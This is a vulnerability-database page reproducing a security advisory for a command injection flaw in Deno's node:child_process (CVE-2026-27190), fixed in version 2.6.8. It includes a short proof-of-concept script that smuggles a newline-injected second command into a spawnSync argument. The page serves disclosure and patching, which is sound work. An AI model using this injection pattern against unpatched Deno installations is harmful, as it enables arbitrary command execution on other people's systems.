CVE-2026-27190: Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Summary A command injection vulnerability exists in Deno's node:childprocess implementation. Reproduction Run: deno run --allow-all poc.mjs The file /tmp/rceproof is created, confirming arbitrary command execution. Mitigation All users need to update to the patched version (Deno v2.6.8).
Published Feb 19, 2026 · Updated Feb 20, 2026
Affected packages
deno
- Ecosystem
- Rust (crates.io)
- Affected
- < 2.6.8
- Fixed in
- 2.6.8
- Check
cargo tree -i deno
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
Credited to jackhax.
References
- https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr
- https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c
- https://github.com/denoland/deno/releases/tag/v2.6.8
- https://nvd.nist.gov/vuln/detail/CVE-2026-27190
- https://github.com/advisories/GHSA-hmh4-3xvx-q5hr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Rust (crates.io) vulnerabilities
All Rust (crates.io) entriesCVE-2026-55517
Deno: Denial of service via non-ASCII bytes in WebSocket response headers
medium4.3Jun 17, 2026CVE-2026-49401
Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)
high7.3Jun 16, 2026CVE-2026-49402
Deno: Command Injection via spawnSync & spawn on Windows
high8.1Jun 16, 2026CVE-2026-49406
Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions
medium5.5Jun 16, 2026CVE-2026-49411
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks
medium6.5Jun 16, 2026CVE-2026-49440
Deno: Miller-Rabin Primality Test Allows Zero Rounds
high7.4Jun 16, 2026
